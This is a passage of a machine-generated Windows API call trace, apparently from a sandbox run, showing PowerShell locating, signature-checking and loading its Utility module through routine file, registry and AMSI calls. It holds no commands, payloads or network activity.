lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0085.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e044) returned 1 [0085.168] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843e0c0 | out: lpFileInformation=0x843e0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0085.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e040) returned 1 [0085.168] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0085.168] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0085.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e018) returned 1 [0085.168] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x880 [0085.168] GetFileType (hFile=0x880) returned 0x1 [0085.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e014) returned 1 [0085.169] GetFileType (hFile=0x880) returned 0x1 [0085.169] WTGetSignatureInfo () returned 0x0 [0085.239] CertDuplicateCertificateContext (pCertContext=0x7379218) returned 0x7379218 [0085.239] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e07c | out: phkResult=0x843e07c*=0x88c) returned 0x0 [0085.239] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e09c, lpData=0x0, lpcbData=0x843e098*=0x0 | out: lpType=0x843e09c*=0x1, lpData=0x0, lpcbData=0x843e098*=0x56) returned 0x0 [0085.239] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e09c, lpData=0x52f57bc, lpcbData=0x843e098*=0x56 | out: lpType=0x843e09c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843e098*=0x56) returned 0x0 [0085.239] RegCloseKey (hKey=0x88c) returned 0x0 [0085.240] CoTaskMemAlloc (cb=0x10) returned 0x3295c70 [0085.240] CoTaskMemAlloc (cb=0x30) returned 0x75c7b58 [0085.240] WinVerifyTrust () returned 0x0 [0085.241] CoTaskMemFree (pv=0x75c7b58) [0085.241] CoTaskMemFree (pv=0x3295c70) [0085.241] CertFreeCertificateContext (pCertContext=0x7379218) returned 1 [0085.241] CloseHandle (hObject=0x880) returned 1 [0085.241] AmsiOpenSession () returned 0x0 [0085.241] AmsiScanString () returned 0x80070015 [0085.276] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en-US\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en-us\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0085.276] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0085.280] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0085.280] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0085.280] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0085.280] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0085.301] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0085.301] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x63 [0085.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dad0) returned 1 [0085.301] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x843db4c | out: lpFileInformation=0x843db4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0085.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dacc) returned 1 [0085.302] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0085.302] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0085.303] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x843d808, nSize=0xc3 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0xc2 [0085.304] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0085.305] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0085.305] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x51, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x50 [0085.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d8d8) returned 1 [0085.305] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x843d954 | out: lpFileInformation=0x843d954*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0085.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d8d4) returned 1 [0085.307] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0085.308] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0085.313] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0085.314] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0085.314] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x57, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x56 [0085.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d8d8) returned 1 [0085.314] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x843d954 | out: lpFileInformation=0x843d954*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0085.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d8d4) returned 1 [0085.321] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0085.322] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0085.322] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0085.323] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x59, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0085.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d8d8) returned 1 [0085.323] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x843d954 | out: lpFileInformation=0x843d954*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0085.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d8d4) returned 1 [0085.324] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0085.502] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0085.502] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0085.502] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0085.502] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0085.503] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0085.503] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0086.678] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1")) returned 0x20 [0086.678] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0086.678] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0086.678] CoTaskMemAlloc (cb=0x20c) returned 0x7459318 [0086.678] GetSystemDirectoryW (in: lpBuffer=0x7459318, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0086.678] CoTaskMemFree (pv=0x7459318) [0086.678] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0086.678] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0086.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d658) returned 1 [0086.678] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d6d4 | out: lpFileInformation=0x843d6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0086.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d654) returned 1 [0086.679] GetSystemInfo (in: lpSystemInfo=0x843d708 | out: lpSystemInfo=0x843d708*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0086.679] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d698 | out: phkResult=0x843d698*=0x85c) returned 0x0 [0086.683] RegQueryValueExW (in: hKey=0x85c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d6b4, lpData=0x0, lpcbData=0x843d6b0*=0x0 | out: lpType=0x843d6b4*=0x0, lpData=0x0, lpcbData=0x843d6b0*=0x0) returned 0x2 [0086.683] RegCloseKey (hKey=0x85c) returned 0x0 [0086.683] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0086.683] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0086.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d684) returned 1 [0086.684] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x538ea20 | out: lpFileInformation=0x538ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0086.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d680) returned 1 [0086.684] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0086.684] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0086.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d644) returned 1 [0086.684] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x843d6c0 | out: lpFileInformation=0x843d6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0086.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d640) returned 1 [0086.684] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0086.684] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0086.684] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0086.684] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0086.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d5b8) returned 1 [0086.684] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x843d634 | out: lpFileInformation=0x843d634*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0086.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d5b4) returned 1 [0086.684] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0086.684] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: 